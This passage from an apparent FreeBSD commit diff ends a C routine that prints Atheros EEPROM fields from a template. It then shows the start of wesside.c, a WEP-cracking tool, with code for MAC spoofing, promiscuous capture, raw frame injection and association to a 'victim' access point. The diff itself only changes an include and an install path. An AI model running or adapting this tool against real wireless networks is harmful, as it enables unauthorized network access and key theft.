COUNTRY_ERD_FLAG) == 0) fprintf(fd, "%03X ", eeprom.ee_regdomain >> 15); else fprintf(fd, "%-3dC", eeprom.ee_regdomain & 0xfff); } else if (streq(var, "turbo2Disable")) { fprintf(fd, "%1d", eeprom.ee_turbo2Disable); } else if (streq(var, "turbo5Disable")) { fprintf(fd, "%1d", eeprom.ee_turbo5Disable); } else if (streq(var, "rfKill")) { fprintf(fd, "%1d", eeprom.ee_rfKill); } else if (streq(var, "disableXr5")) { fprintf(fd, "%1d", eeprom.ee_disableXr5); } else if (streq(var, "disableXr2")) { fprintf(fd, "%1d", eeprom.ee_disableXr2); } else if (streq(var, "turbo2WMaxPower5")) { fprintf(fd, "%2d", eeprom.ee_turbo2WMaxPower5); } else if (streq(var, "cckOfdmDelta")) { fprintf(fd, "%2d", eeprom.ee_cckOfdmPwrDelta); } else if (streq(var, "gainI")) { fprintf(fd, "%2d", eeprom.ee_gainI[curmode]); } else if (streq(var, "WWR")) { fprintf(fd, "%1x", (eeprom.ee_regdomain & WORLDWIDE_ROAMING_FLAG) != 0); } else if (streq(var, "falseDetectBackoff")) { fprintf(fd, "0x%02x", eeprom.ee_falseDetectBackoff[curmode]); } else if (streq(var, "deviceType")) { fprintf(fd, "%1x", eeprom.ee_deviceType); } else if (streq(var, "switchSettling")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "0x%02x", eeprom.ee_switchSettling[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].switchSettling); } else if (streq(var, "adcDesiredSize")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "%2d", eeprom.ee_adcDesiredSize[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].adcDesiredSize); } else if (streq(var, "xlnaGain")) { fprintf(fd, "0x%02x", eeprom.ee_xlnaGain[curmode]); } else if (streq(var, "txEndToXLNAOn")) { fprintf(fd, "0x%02x", eeprom.ee_txEndToXLNAOn[curmode]); } else if (streq(var, "thresh62")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "0x%02x", eeprom.ee_thresh62[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].thresh62); } else if (streq(var, "txEndToRxOn")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].txEndToRxOn); } else if (streq(var, "txEndToXPAOff")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "0x%02x", eeprom.ee_txEndToXPAOff[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].txEndToXpaOff); } else if (streq(var, "txFrameToXPAOn")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "0x%02x", eeprom.ee_txFrameToXPAOn[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].txEndToRxOn); } else if (streq(var, "pgaDesiredSize")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "%2d", eeprom.ee_pgaDesiredSize[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].pgaDesiredSize); } else if (streq(var, "noiseFloorThresh")) { fprintf(fd, "%3d", eeprom.ee_noiseFloorThresh[curmode]); } else if (strneq(var, "noiseFloorThreshCh", 18)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].noiseFloorThreshCh[atoi(var+18)]); } else if (strneq(var, "xlnaGainCh", 10)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].xlnaGainCh[atoi(var+10)]); } else if (streq(var, "xgain")) { fprintf(fd, "0x%02x", eeprom.ee_xgain[curmode]); } else if (streq(var, "xpd")) { if (IS_VERS(<, AR_EEPROM_VER14_2)) fprintf(fd, "%1d", eeprom.ee_xpd[curmode]); else fprintf(fd, "%3d", eepromN.modalHeader[curmode].xpd); } else if (streq(var, "txrxAtten")) { fprintf(fd, "0x%02x", eeprom.ee_txrxAtten[curmode]); } else if (streq(var, "capField")) { fprintf(fd, "0x%04X", eeprom.ee_capField); } else if (streq(var, "txrxAttenTurbo")) { fprintf(fd, "0x%02x", eeprom.ee_txrxAtten[curmode != headerInfo11A]); } else if (streq(var, "switchSettlingTurbo")) { fprintf(fd, "0x%02X", eeprom.ee_switchSettlingTurbo[curmode != headerInfo11A]); } else if (streq(var, "adcDesiredSizeTurbo")) { fprintf(fd, "%2d", eeprom.ee_adcDesiredSizeTurbo[curmode != headerInfo11A]); } else if (streq(var, "pgaDesiredSizeTurbo")) { fprintf(fd, "%2d", eeprom.ee_pgaDesiredSizeTurbo[curmode != headerInfo11A]); } else if (streq(var, "rxtxMarginTurbo")) { fprintf(fd, "0x%02x", eeprom.ee_rxtxMarginTurbo[curmode != headerInfo11A]); } else if (strneq(var, "antennaControl", 14)) { printAntennaControl(fd, atoi(var+14)); } else if (strneq(var, "antCtrlChain", 12)) { fprintf(fd, "0x%08X", eepromN.modalHeader[curmode].antCtrlChain[atoi(var+12)]); } else if (strneq(var, "antGainCh", 9)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].antennaGainCh[atoi(var+9)]); } else if (strneq(var, "txRxAttenCh", 11)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].txRxAttenCh[atoi(var+11)]); } else if (strneq(var, "rxTxMarginCh", 12)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].rxTxMarginCh[atoi(var+12)]); } else if (streq(var, "xpdGain")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].xpdGain); } else if (strneq(var, "iqCalICh", 8)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].iqCalICh[atoi(var+8)]); } else if (strneq(var, "iqCalQCh", 8)) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].iqCalQCh[atoi(var+8)]); } else if (streq(var, "pdGainOverlap")) { printHalfDbmPower(fd, eepromN.modalHeader[curmode].pdGainOverlap); } else if (streq(var, "ob1")) { fprintf(fd, "%1d", eeprom.ee_ob1); } else if (streq(var, "ob2")) { fprintf(fd, "%1d", eeprom.ee_ob2); } else if (streq(var, "ob3")) { fprintf(fd, "%1d", eeprom.ee_ob3); } else if (streq(var, "ob4")) { fprintf(fd, "%1d", eeprom.ee_ob4); } else if (streq(var, "db1")) { fprintf(fd, "%1d", eeprom.ee_db1); } else if (streq(var, "db2")) { fprintf(fd, "%1d", eeprom.ee_db2); } else if (streq(var, "db3")) { fprintf(fd, "%1d", eeprom.ee_db3); } else if (streq(var, "db4")) { fprintf(fd, "%1d", eeprom.ee_db4); } else if (streq(var, "obFor24")) { fprintf(fd, "%1d", eeprom.ee_obFor24); } else if (streq(var, "ob2GHz0")) { fprintf(fd, "%1d", eeprom.ee_ob2GHz[0]); } else if (streq(var, "dbFor24")) { fprintf(fd, "%1d", eeprom.ee_dbFor24); } else if (streq(var, "db2GHz0")) { fprintf(fd, "%1d", eeprom.ee_db2GHz[0]); } else if (streq(var, "obFor24g")) { fprintf(fd, "%1d", eeprom.ee_obFor24g); } else if (streq(var, "ob2GHz1")) { fprintf(fd, "%1d", eeprom.ee_ob2GHz[1]); } else if (streq(var, "dbFor24g")) { fprintf(fd, "%1d", eeprom.ee_dbFor24g); } else if (streq(var, "db2GHz1")) { fprintf(fd, "%1d", eeprom.ee_db2GHz[1]); } else if (streq(var, "ob")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].ob); } else if (streq(var, "db")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].db); } else if (streq(var, "xpaBiasLvl")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].xpaBiasLvl); } else if (streq(var, "pwrDecreaseFor2Chain")) { printHalfDbmPower(fd, eepromN.modalHeader[curmode].pwrDecreaseFor2Chain); } else if (streq(var, "pwrDecreaseFor3Chain")) { printHalfDbmPower(fd, eepromN.modalHeader[curmode].pwrDecreaseFor3Chain); } else if (streq(var, "txFrameToDataStart")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].txFrameToDataStart); } else if (streq(var, "txFrameToPaOn")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].txFrameToPaOn); } else if (streq(var, "ht40PowerIncForPdadc")) { fprintf(fd, "%3d", eepromN.modalHeader[curmode].ht40PowerIncForPdadc); } else if (streq(var, "checksum")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.checksum); } else if (streq(var, "length")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.length); } else if (streq(var, "regDmn0")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.regDmn[0]); } else if (streq(var, "regDmn1")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.regDmn[1]); } else if (streq(var, "txMask")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.txMask); } else if (streq(var, "rxMask")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.rxMask); } else if (streq(var, "rfSilent")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.rfSilent); } else if (streq(var, "btOptions")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.blueToothOptions); } else if (streq(var, "deviceCap")) { fprintf(fd, "0x%04X", eepromN.baseEepHeader.deviceCap); } else if (strneq(var, "macaddr", 7)) { fprintf(fd, "%02X", eepromN.baseEepHeader.macAddr[atoi(var+7)]); } else if (streq(var, "opCapFlags")) { fprintf(fd, "0x%02X", eepromN.baseEepHeader.opCapFlags); } else if (streq(var, "eepMisc")) { fprintf(fd, "0x%02X", eepromN.baseEepHeader.eepMisc); } else if (strneq(var, "binBuildNumber", 14)) { fprintf(fd, "%3d", (eepromN.baseEepHeader.binBuildNumber >> (8*atoi(var+14))) & 0xff); } else if (strneq(var, "custData", 8)) { fprintf(fd, "%2.2X", eepromN.custData[atoi(var+8)]); } else if (streq(var, "xpd_mask")) { if (IS_VERS(<, AR_EEPROM_VER5_0)) fprintf(fd, "0x%02x", pExpnPower->xpdMask); else fprintf(fd, "0x%02x", pRaw->xpd_mask); } else if (streq(var, "numChannels")) { if (IS_VERS(<, AR_EEPROM_VER5_0)) fprintf(fd, "%2d", pExpnPower->numChannels); else fprintf(fd, "%2d", pRaw->numChannels); } else if (streq(var, "freq")) { if (IS_VERS(<, AR_EEPROM_VER5_0)) fprintf(fd, "%4d", pExpnPower->pChannels[curchan]); else fprintf(fd, "%4d", pRaw->pChannels[curchan]); } else if (streq(var, "maxpow")) { int16_t maxPower_t4; if (IS_VERS(<, AR_EEPROM_VER5_0)) { maxPower_t4 = pExpnPower->pDataPerChannel[curchan].maxPower_t4; } else { maxPower_t4 = pRaw->pDataPerChannel[curchan].maxPower_t4; if (maxPower_t4 == 0) maxPower_t4 = getMaxPowerV5(&pRaw->pDataPerChannel[curchan]); } printQuarterDbmPower(fd, maxPower_t4); } else if (streq(var, "pd_gain")) { fprintf(fd, "%4d", pRaw->pDataPerChannel[curchan]. pDataPerPDGain[curpdgain].pd_gain); } else if (strneq(var, "maxpwr", 6)) { int vpd = atoi(var+6); if (vpd < pRaw->pDataPerChannel[curchan].pDataPerPDGain[curpdgain].numVpd) printQuarterDbmPower(fd, pRaw->pDataPerChannel[curchan]. pDataPerPDGain[curpdgain].pwr_t4[vpd]); else fprintf(fd, " "); } else if (strneq(var, "pwr_t4_", 7)) { printQuarterDbmPower(fd, pExpnPower->pDataPerChannel[curchan]. pDataPerXPD[singleXpd].pwr_t4[atoi(var+7)]); } else if (strneq(var, "Vpd", 3)) { int vpd = atoi(var+3); if (vpd < pRaw->pDataPerChannel[curchan].pDataPerPDGain[curpdgain].numVpd) printVpd(fd, pRaw->pDataPerChannel[curchan]. pDataPerPDGain[curpdgain].Vpd[vpd]); else fprintf(fd, " "); } else if (streq(var, "CTL")) { fprintf(fd, "0x%2x", eeprom.ee_ctl[curctl] & 0xff); } else if (streq(var, "ctlType")) { static const char *ctlType[16] = { "11a base", "11b", "11g", "11a TURBO", "108g", "2GHT20", "5GHT20", "2GHT40", "5GHT40", "0x9", "0xa", "0xb", "0xc", "0xd", "0xe", "0xf", }; fprintf(fd, "%8s", ctlType[eeprom.ee_ctl[curctl] & CTL_MODE_M]); } else if (streq(var, "ctlRD")) { static const char *ctlRD[8] = { "0x00", " FCC", "0x20", "ETSI", " MKK", "0x50", "0x60", "0x70" }; fprintf(fd, "%s", ctlRD[(eeprom.ee_ctl[curctl] >> 4) & 7]); } else if (strneq(var, "rdEdgePower", 11)) { printEdgePower(fd, atoi(var+11)); } else if (strneq(var, "rdEdgeFlag", 10)) { printEdgeFlag(fd, atoi(var+10)); } else if (strneq(var, "rdEdge", 6)) { printEdge(fd, atoi(var+6)); } else if (strneq(var, "testChannel", 11)) { fprintf(fd, "%4d", pPowerInfo[atoi(var+11)].testChannel); } else if (strneq(var, "pwr6_24_", 8)) { printHalfDbmPower(fd, pPowerInfo[atoi(var+8)].twicePwr6_24); } else if (strneq(var, "pwr36_", 6)) { printHalfDbmPower(fd, pPowerInfo[atoi(var+6)].twicePwr36); } else if (strneq(var, "pwr48_", 6)) { printHalfDbmPower(fd, pPowerInfo[atoi(var+6)].twicePwr48); } else if (strneq(var, "pwr54_", 6)) { printHalfDbmPower(fd, pPowerInfo[atoi(var+6)].twicePwr54); } else if (strneq(var, "channelValue", 12)) { fprintf(fd, "%4d", pDataPerChannel[atoi(var+12)].channelValue); } else if (strneq(var, "pcdacMin", 8)) { fprintf(fd, "%02d", pDataPerChannel[atoi(var+8)].pcdacMin); } else if (strneq(var, "pcdacMax", 8)) { fprintf(fd, "%02d", pDataPerChannel[atoi(var+8)].pcdacMax); } else if (strneq(var, "pcdac", 5)) { if (IS_VERS(<, AR_EEPROM_VER4_0)) { fprintf(fd, "%02d", pDataPerChannel[atoi(var+5)]. PcdacValues[curpcdac]); } else if (IS_VERS(<, AR_EEPROM_VER5_0)) { fprintf(fd, "%02d", pExpnPower->pDataPerChannel[curchan]. pDataPerXPD[singleXpd].pcdac[atoi(var+5)]); } else undef("pcdac"); } else if (strneq(var, "pwrValue", 8)) { printPcdacValue(fd, pDataPerChannel[atoi(var+8)].PwrValues[curpcdac]); } else if (streq(var, "singleXpd")) { fprintf(fd, "%2d", singleXpd); } else warnx("line %u, unknown EEPROM variable \"%s\"", lineno, var); #undef strneq #undef streq } static void ifmode(FILE *ftemplate, const char *mode) { if (strcasecmp(mode, "11a") == 0) { if (IS_VERS(<, AR_EEPROM_VER14_2)) { if (eeprom.ee_Amode) setmode(headerInfo11A); else skipto(ftemplate, "endmode"); return; } if (IS_VERS(>=, AR_EEPROM_VER14_2)) { if (eepromN.baseEepHeader.opCapFlags & AR5416_OPFLAGS_11A) setmode(headerInfo11A); else skipto(ftemplate, "endmode"); return; } } else if (strcasecmp(mode, "11g") == 0) { if (IS_VERS(<, AR_EEPROM_VER14_2)) { if (eeprom.ee_Gmode) setmode(headerInfo11G); else skipto(ftemplate, "endmode"); return; } if (IS_VERS(>=, AR_EEPROM_VER14_2)) { if (eepromN.baseEepHeader.opCapFlags & AR5416_OPFLAGS_11G) setmode(headerInfo11B); /* NB: 2.4GHz */ else skipto(ftemplate, "endmode"); return; } } else if (strcasecmp(mode, "11b") == 0) { if (IS_VERS(<, AR_EEPROM_VER14_2)) { if (eeprom.ee_Bmode) setmode(headerInfo11B); else skipto(ftemplate, "endmode"); return; } } warnx("line %d, unknown/unexpected mode \"%s\" ignored", lineno, mode); skipto(ftemplate, "endmode"); } static void parseTemplate(FILE *ftemplate, FILE *fd) { int c, i; char id[MAXID]; long forchan, forpdgain, forctl, forpcdac; lineno = 1; bol = 1; while ((c = getc(ftemplate)) != EOF) { if (c == '#') { /* comment */ skiptoeol: while ((c = getc(ftemplate)) != EOF && c != '\n') ; if (c == EOF) return; lineno++; bol = 1; continue; } if (c == '.' && bol) { /* .directive */ if (token(ftemplate, id, MAXID, ".directive") == EOF) return; /* process directive */ if (strcasecmp(id, "ifmode") == 0) { skipws(ftemplate); if (token(ftemplate, id, MAXID, "id") == EOF) return; ifmode(ftemplate, id); } else if (strcasecmp(id, "endmode") == 0) { /* XXX free malloc'd indirect data */ curmode = -1; /* NB: undefined */ } else if (strcasecmp(id, "forchan") == 0) { forchan = ftell(ftemplate) - sizeof("forchan"); if (curchan == -1) curchan = 0; } else if (strcasecmp(id, "endforchan") == 0) { if (++curchan < numChannels) fseek(ftemplate, forchan, SEEK_SET); else curchan = -1; } else if (strcasecmp(id, "ifpdgain") == 0) { skipws(ftemplate); if (token(ftemplate, id, MAXID, "pdgain") == EOF) return; curlpdgain = strtoul(id, NULL, 0); if (curlpdgain >= pRaw->pDataPerChannel[curchan].numPdGains) { skipto(ftemplate, "endpdgain"); curlpdgain = -1; } else curpdgain = pdgain(curlpdgain); } else if (strcasecmp(id, "endpdgain") == 0) { curlpdgain = curpdgain = -1; } else if (strcasecmp(id, "forpdgain") == 0) { forpdgain = ftell(ftemplate) - sizeof("forpdgain"); if (curlpdgain == -1) { skipws(ftemplate); if (token(ftemplate, id, MAXID, "pdgain") == EOF) return; curlpdgain = strtoul(id, NULL, 0); if (curlpdgain >= pRaw->pDataPerChannel[curchan].numPdGains) { skipto(ftemplate, "endforpdgain"); curlpdgain = -1; } else curpdgain = pdgain(curlpdgain); } } else if (strcasecmp(id, "endforpdgain") == 0) { if (++curpdgain < pRaw->pDataPerChannel[curchan].numPdGains) fseek(ftemplate, forpdgain, SEEK_SET); else curpdgain = -1; } else if (strcasecmp(id, "forpcdac") == 0) { forpcdac = ftell(ftemplate) - sizeof("forpcdac"); if (curpcdac == -1) curpcdac = 0; } else if (strcasecmp(id, "endforpcdac") == 0) { if (++curpcdac < pDataPerChannel[0].numPcdacValues) fseek(ftemplate, forpcdac, SEEK_SET); else curpcdac = -1; } else if (strcasecmp(id, "forctl") == 0) { forctl = ftell(ftemplate) - sizeof("forchan"); if (curctl == -1) curctl = nextctl(0); } else if (strcasecmp(id, "endforctl") == 0) { curctl = nextctl(curctl+1); if (curctl != -1) fseek(ftemplate, forctl, SEEK_SET); } else { warnx("line %d, unknown directive %s ignored", lineno, id); } goto skiptoeol; } if (c == '$') { /* $variable reference */ if (token(ftemplate, id, MAXID, "$var") == EOF) return; /* XXX not valid if variable depends on curmode */ eevar(fd, id); continue; } if (c == '\\') { /* escape next character */ c = getc(ftemplate); if (c == EOF) return; } fputc(c, fd); bol = (c == '\n'); if (bol) lineno++; } } Index: head/tools/tools/net80211/wesside/wesside/wesside.c =================================================================== --- head/tools/tools/net80211/wesside/wesside/wesside.c (revision 367074) +++ head/tools/tools/net80211/wesside/wesside/wesside.c (revision 367075) @@ -1,2815 +1,2816 @@ /* * wep owner by sorbo * Aug 2005 * * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer * overflows. this whole thing is experimental n e way. * * $FreeBSD$ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include +#include #include #include #include #include #include #include #include #include #include #include #include #include #include "aircrack-ptw-lib.h" #define FIND_VICTIM 0 #define FOUND_VICTIM 1 #define SENDING_AUTH 2 #define GOT_AUTH 3 #define SPOOF_MAC 4 #define SENDING_ASSOC 5 #define GOT_ASSOC 6 int state = 0; struct timeval arpsend; struct tx_state { int waiting_ack; struct timeval tsent; int retries; unsigned int psent; } txstate; struct chan_info { int s; struct ieee80211req ireq; int chan; } chaninfo; struct victim_info { char* ssid; int chan; char bss[6]; } victim; struct frag_state { struct ieee80211_frame wh; unsigned char* data; int len; unsigned char* ptr; int waiting_relay; struct timeval last; } fragstate; struct prga_info { unsigned char* prga; unsigned int len; unsigned char iv[3]; } prgainfo; struct decrypt_state { unsigned char* cipher; int clen; struct prga_info prgainfo; struct frag_state fragstate; } decryptstate; struct wep_log { unsigned int packets; unsigned int rate; int fd; unsigned char iv[3]; } weplog; #define LINKTYPE_IEEE802_11 105 #define TCPDUMP_MAGIC 0xA1B2C3D4 unsigned char* floodip = 0; unsigned short floodport = 6969; unsigned short floodsport = 53; unsigned char* netip = 0; int netip_arg = 0; int max_chan = 11; unsigned char* rtrmac = 0; unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d"; unsigned char myip[16] = "192.168.0.123"; int bits = 0; int ttl_val = 0; PTW_attackstate *ptw; unsigned char *victim_mac = 0; int ack_timeout = 100*1000; #define ARPLEN (8+ 8 + 20) unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define MCAST_PREF "\x01\x00\x5e\x00\x00" #define WEP_FILE "wep.cap" #define KEY_FILE "key.log" #define PRGA_FILE "prga.log" unsigned int min_prga = 128; /* * When starting aircrack we try first to use a * local copy, falling back to where the installed * version is expected. * XXX builtin pathnames */ #define CRACK_LOCAL_CMD "../aircrack/aircrack" -#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack" +#define CRACK_INSTALL_CMD _PATH_LOCALBASE "/bin/aircrack" #define INCR 10000 int thresh_incr = INCR; #define MAGIC_TTL_PAD 69 int crack_dur = 60; int wep_thresh = INCR; int crack_pid = 0; struct timeval crack_start; struct timeval real_start; /* linksys does this. The hardware pads small packets. */ #define PADDED_ARPLEN 54 #define PRGA_LEN (1500-14-20-8) unsigned char inet_clear[8+20+8+PRGA_LEN+4]; #define DICT_PATH "dict" #define TAP_DEV "/dev/tap3" unsigned char tapdev[16]; unsigned char taptx[4096]; unsigned int taptx_len = 0; int tapfd = -1; /********** RIPPED ************/ unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /************** ************/ unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip, struct in_addr *dip) { unsigned char *tmp; struct ippseudo *ph; tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo)); if(!tmp) err(1, "malloc()"); ph = (struct ippseudo*) tmp; memcpy(&ph->ippseudo_src, sip, 4); memcpy(&ph->ippseudo_dst, dip, 4); ph->ippseudo_pad = 0; ph->ippseudo_p = IPPROTO_UDP; ph->ippseudo_len = htons(len); memcpy(tmp + sizeof(struct ippseudo), stuff, len); return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo)); } void time_print(char* fmt, ...) { va_list ap; char lame[1024]; time_t tt; struct tm *t; va_start(ap, fmt); vsnprintf(lame, sizeof(lame), fmt, ap); va_end(ap); tt = time(NULL); if (tt == (time_t)-1) { perror("time()"); exit(1); } t = localtime(&tt); if (!t) { perror("localtime()"); exit(1); } printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame); } void check_key() { char buf[1024]; int fd; int rd; struct timeval now; fd = open(KEY_FILE, O_RDONLY); if (fd == -1) { return; } rd = read(fd, buf, sizeof(buf) -1); if (rd == -1) { perror("read()"); exit(1); } buf[rd] = 0; close(fd); printf ("\n\n"); time_print("KEY=(%s)\n", buf); if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } printf ("Owned in %.02f minutes\n", ((double) now.tv_sec - real_start.tv_sec)/60.0); exit(0); } void kill_crack() { if (crack_pid == 0) return; printf("\n"); time_print("Stopping crack PID=%d\n", crack_pid); // XXX doesn't return -1 for some reason! [maybe on my box... so it // might be buggy on other boxes...] if (kill(crack_pid, SIGINT) == -1) { perror("kill()"); exit(1); } crack_pid = 0; check_key(); } void cleanup(int x) { time_print("\nDying...\n"); if (weplog.fd) close(weplog.fd); kill_crack(); exit(0); } void set_chan(int c) { if (c == chaninfo.chan) return; chaninfo.ireq.i_val = c; if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) { perror("ioctl(SIOCS80211) [chan]"); exit(1); } chaninfo.chan = c; } void set_if_mac(unsigned char* mac, unsigned char *name) { int s; struct ifreq ifr; s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { perror("socket()"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, name); ifr.ifr_addr.sa_family = AF_LINK; ifr.ifr_addr.sa_len = 6; memcpy(ifr.ifr_addr.sa_data, mac, 6); if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) { perror("ioctl(SIOCSIFLLADDR)"); exit(1); } close(s); } void setup_if(char *dev) { int s; struct ifreq ifr; unsigned int flags; struct ifmediareq ifmr; int *mwords; if(strlen(dev) >= IFNAMSIZ) { time_print("Interface name too long...\n"); exit(1); } time_print("Setting up %s... ", dev); fflush(stdout); set_if_mac(mymac, dev); s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { perror("socket()"); exit(1); } // set chan memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq)); strcpy(chaninfo.ireq.i_name, dev); chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL; chaninfo.chan = 0; chaninfo.s = s; set_chan(1); // set iface up and promisc memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, dev); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { perror("ioctl(SIOCGIFFLAGS)"); exit(1); } flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP | IFF_PPROMISC; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, dev); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { perror("ioctl(SIOCSIFFLAGS)"); exit(1); } printf("done\n"); } int open_bpf(char *dev, int dlt) { int i; char buf[64]; int fd = -1; struct ifreq ifr; for(i = 0;i < 16; i++) { sprintf(buf, "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) { perror("can't open /dev/bpf"); exit(1); } continue; } else break; } if(fd < 0) { perror("can't open /dev/bpf"); exit(1); } strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1); ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; if(ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("ioctl(BIOCSETIF)"); exit(1); } if (ioctl(fd, BIOCSDLT, &dlt) < 0) { perror("ioctl(BIOCSDLT)"); exit(1); } i = 1; if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) { perror("ioctl(BIOCIMMEDIATE)"); exit(1); } return fd; } void hexdump(unsigned char *ptr, int len) { while(len > 0) { printf("%.2X ", *ptr); ptr++; len--; } printf("\n"); } char* mac2str(unsigned char* mac) { static char ret[6*3]; sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return ret; } void inject(int fd, void *buf, int len) { static struct ieee80211_bpf_params params = { .ibp_vers = IEEE80211_BPF_VERSION, /* NB: no need to pass series 2-4 rate+try */ .ibp_len = sizeof(struct ieee80211_bpf_params) - 6, .ibp_rate0 = 2, /* 1 MB/s XXX */ .ibp_try0 = 1, /* no retransmits */ .ibp_flags = IEEE80211_BPF_NOACK, .ibp_power = 100, /* nominal max */ .ibp_pri = WME_AC_VO, /* high priority */ }; struct iovec iov[2]; int rc; iov[0].iov_base = ¶ms; iov[0].iov_len = params.ibp_len; iov[1].iov_base = buf; iov[1].iov_len = len; rc = writev(fd, iov, 2); if(rc == -1) { perror("writev()"); exit(1); } if (rc != (len + iov[0].iov_len)) { time_print("Error Wrote %d out of %d\n", rc, len+iov[0].iov_len); exit(1); } } void send_frame(int tx, unsigned char* buf, int len) { static unsigned char* lame = 0; static int lamelen = 0; static int lastlen = 0; // retransmit! if (len == -1) { txstate.retries++; if (txstate.retries > 10) { time_print("ERROR Max retransmists for (%d bytes):\n", lastlen); hexdump(&lame[0], lastlen); // exit(1); } len = lastlen; // printf("Warning doing a retransmit...\n"); } // normal tx else { assert(!txstate.waiting_ack); if (len > lamelen) { if (lame) free(lame); lame = (unsigned char*) malloc(len); if(!lame) { perror("malloc()"); exit(1); } lamelen = len; } memcpy(lame, buf, len); txstate.retries = 0; lastlen = len; } inject(tx, lame, len); txstate.waiting_ack = 1; txstate.psent++; if (gettimeofday(&txstate.tsent, NULL) == -1) { perror("gettimeofday()"); exit(1); } #if 0 printf("Wrote frame at %lu.%lu\n", txstate.tsent.tv_sec, txstate.tsent.tv_usec); #endif } unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; if(fn > 15) { time_print("too many fragments (%d)\n", fn); exit(1); } r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return r; } void fill_basic(struct ieee80211_frame* wh) { unsigned short* sp; memcpy(wh->i_addr1, victim.bss, 6); memcpy(wh->i_addr2, mymac, 6); memcpy(wh->i_addr3, victim.bss, 6); sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, txstate.psent); sp = (unsigned short*) wh->i_dur; *sp = htole16(32767); } void send_assoc(int tx) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned char* body; int ssidlen; memset(buf, 0, sizeof(buf)); fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; body = (unsigned char*) wh + sizeof(*wh); *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap // cap + interval body += 2 + 2; // ssid *body++ = 0; ssidlen = strlen(victim.ssid); *body++ = ssidlen; memcpy(body, victim.ssid, ssidlen); body += ssidlen; // rates *body++ = 1; *body++ = 